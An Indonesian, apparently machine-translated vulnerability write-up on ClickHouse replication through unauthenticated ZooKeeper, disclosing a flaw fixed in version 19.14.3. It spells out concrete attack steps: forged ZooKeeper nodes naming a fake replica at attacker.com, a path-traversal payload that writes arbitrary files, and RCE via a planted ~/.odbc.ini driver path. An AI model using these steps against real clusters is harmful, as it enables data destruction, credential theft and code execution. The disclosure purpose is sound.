Mengapa kandang kebun binatang perlu ditutup?

Mengapa kandang kebun binatang perlu ditutup?

Artikel ini akan menceritakan kisah tentang kerentanan yang sangat spesifik dalam protokol replikasi ClickHouse, dan juga akan menunjukkan bagaimana permukaan serangan dapat diperluas.

ClickHouse adalah database untuk menyimpan data dalam jumlah besar, paling sering menggunakan lebih dari satu replika. Pengelompokan dan replikasi di ClickHouse dibangun di atas Penjaga Kebun Binatang Apache (ZK) dan memerlukan hak menulis.

Instalasi ZK default tidak memerlukan otentikasi, sehingga ribuan server ZK yang digunakan untuk mengkonfigurasi Kafka, Hadoop, ClickHouse tersedia untuk umum.

Untuk mengurangi permukaan serangan, Anda harus selalu mengonfigurasi otentikasi dan otorisasi saat menginstal ZooKeeper

Tentu saja ada beberapa deserialisasi Java berbasis 0 hari, tetapi bayangkan penyerang dapat membaca dan menulis ke ZooKeeper, yang digunakan untuk replikasi ClickHouse.

Saat dikonfigurasi dalam mode cluster, ClickHouse mendukung kueri terdistribusi HAL-HAL, melewati ZK - untuk mereka node dibuat di lembar /clickhouse/task_queue/ddl.

Misalnya, Anda membuat sebuah simpul /clickhouse/task_queue/ddl/query-0001 dengan konten:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

dan setelah itu, tabel pengujian akan dihapus pada server cluster host1 dan host2. DDL juga mendukung menjalankan kueri CREATE/ALTER/DROP.

Kedengarannya menakutkan? Tapi di mana penyerang bisa mendapatkan alamat server?

Replikasi ClickHouse bekerja pada tingkat tabel individual, sehingga ketika tabel dibuat di ZK, server ditentukan yang akan bertanggung jawab untuk bertukar metadata dengan replika. Misalnya, saat menjalankan permintaan (ZK harus dikonfigurasi, chXX - nama replikanya, foobar - nama tabel):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

node akan dibuat kolom ΠΈ metadata.

Konten /clickhouse/tables/01/foobar/replika/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Apakah mungkin untuk menggabungkan data dari cluster ini? Ya, jika port replikasi (TCP/9009) di server chXX-address firewall tidak akan ditutup dan otentikasi untuk replikasi tidak akan dikonfigurasi. Bagaimana cara melewati otentikasi?

Penyerang dapat membuat replika baru di ZK hanya dengan menyalin konten darinya /clickhouse/tables/01-01/foobar/replicas/chXX dan mengubah maknanya host.

Konten /clickhouse/tables/01–01/foobar/replika/penyerang/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Kemudian Anda perlu memberi tahu replika lain bahwa ada blok data baru di server penyerang yang perlu mereka ambil - sebuah node dibuat di ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX penghitung tumbuh secara monoton, yang seharusnya lebih besar dari yang terakhir di log peristiwa):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

dimana sumber_replika β€” nama replika penyerang yang dibuat pada langkah sebelumnya, blok_id β€” pengidentifikasi blok data, mendapatkan - perintah "dapatkan blok" (dan berikut adalah perintah untuk operasi lainnya).

Selanjutnya, setiap replika membaca peristiwa baru di log dan pergi ke server yang dikendalikan oleh penyerang untuk menerima blok data (protokol replikasi adalah biner, berjalan di atas HTTP). pelayan attacker.com akan menerima permintaan:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

di mana XXX adalah data autentikasi untuk replikasi. Dalam beberapa kasus, ini mungkin akun dengan akses ke database melalui protokol utama ClickHouse dan protokol HTTP. Seperti yang Anda lihat, permukaan serangan menjadi sangat besar karena ZooKeeper, yang digunakan untuk replikasi, dibiarkan tanpa konfigurasi otentikasi.

Mari kita lihat fungsi mendapatkan blok data dari replika, ditulis dengan penuh keyakinan bahwa semua replika berada di bawah kendali yang tepat dan ada kepercayaan di antara mereka.

Mengapa kandang kebun binatang perlu ditutup?
kode pemrosesan replikasi

Fungsi tersebut membaca daftar file, lalu nama, ukuran, isinya, dan kemudian menulisnya ke sistem file. Perlu dijelaskan secara terpisah bagaimana data disimpan dalam sistem file.

Ada beberapa subdirektori di dalamnya /var/lib/clickhouse (direktori penyimpanan default dari file konfigurasi):

bendera - direktori untuk merekam bendera, digunakan dalam pemulihan setelah kehilangan data;
tmp β€” direktori untuk menyimpan file-file sementara;
file_pengguna β€” operasi dengan file dalam permintaan terbatas pada direktori ini (INTO OUTFILE dan lainnya);
metadata β€” file sql dengan deskripsi tabel;
preprocessed_configs - memproses file konfigurasi turunan dari /etc/clickhouse-server;
data - direktori sebenarnya dengan data itu sendiri, dalam hal ini untuk setiap database, subdirektori terpisah dibuat di sini (misalnya /var/lib/clickhouse/data/default).

Untuk setiap tabel, subdirektori dibuat di direktori database. Setiap kolom adalah file terpisah tergantung pada format mesin. Misalnya untuk sebuah meja foobardibuat oleh penyerang, file berikut akan dibuat:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika mengharapkan untuk menerima file dengan nama yang sama saat memproses blok data dan tidak memvalidasinya dengan cara apa pun.

Pembaca yang penuh perhatian mungkin pernah mendengar tentang penggabungan nama_file yang tidak aman dalam suatu fungsi WriteBufferFromFile. Ya, ini memungkinkan penyerang untuk menulis konten sewenang-wenang ke file apa pun di FS dengan hak pengguna clickhouse. Untuk melakukan hal ini, replika yang dikendalikan oleh penyerang harus mengembalikan respons berikut terhadap permintaan (jeda baris telah ditambahkan untuk memudahkan pemahaman):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

dan setelah penggabungan ../../../../../../../../../tmp/pwned file akan ditulis /tmp/pwned dengan konten halo dari penjaga kebun binatang.

Ada beberapa opsi untuk mengubah kemampuan penulisan file menjadi eksekusi kode jarak jauh (RCE).

Kamus eksternal di RCE

Di versi yang lebih lama, direktori dengan pengaturan ClickHouse disimpan dengan hak pengguna rumah klik bawaan. File pengaturan adalah file XML yang dibaca layanan saat startup dan kemudian disimpan dalam cache /var/lib/clickhouse/preprocessed_configs. Ketika terjadi perubahan, perubahan tersebut dibaca ulang. Jika Anda memiliki akses ke /etc/clickhouse-server seorang penyerang dapat membuatnya sendiri kamus eksternal ketik yang dapat dieksekusi dan kemudian jalankan kode arbitrer. Versi ClickHouse saat ini tidak memberikan hak secara default, tetapi jika server diperbarui secara bertahap, hak tersebut dapat tetap ada. Jika Anda mendukung cluster ClickHouse, periksa hak atas direktori pengaturan, itu harus milik pengguna root.

ODBC ke RCE

Saat menginstal sebuah paket, pengguna dibuat clickhouse, tetapi direktori home-nya belum dibuat /nonexistent. Namun, saat menggunakan kamus eksternal, atau karena alasan lain, administrator membuat direktori /nonexistent dan berikan kepada pengguna clickhouse akses untuk menulis ke dalamnya (SSZB! kira-kira Penerjemah).

ClickHouse mendukung ODBC dan dapat terhubung ke database lain. Di ODBC, Anda bisa menentukan jalur ke perpustakaan driver database (.so). Versi ClickHouse yang lebih lama memungkinkan Anda melakukan ini secara langsung di penangan permintaan, tetapi sekarang pemeriksaan string koneksi yang lebih ketat telah ditambahkan ke odbc-bridge, jadi tidak mungkin lagi menentukan jalur driver dari permintaan. Tapi bisakah penyerang menulis ke direktori home menggunakan kerentanan yang dijelaskan di atas?

Mari kita membuat file ~/.odbc.ini dengan konten seperti ini:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

lalu saat startup SELECT * FROM odbc('DSN=lalala', 'test', 'test'); perpustakaan akan dimuat test.so dan menerima RCE (terima kasih buglloc untuk tipnya).

Kerentanan ini dan lainnya telah diperbaiki di ClickHouse versi 19.14.3. Jaga ClickHouse dan ZooKeepers Anda!

Sumber: www.habr.com

Tambah komentar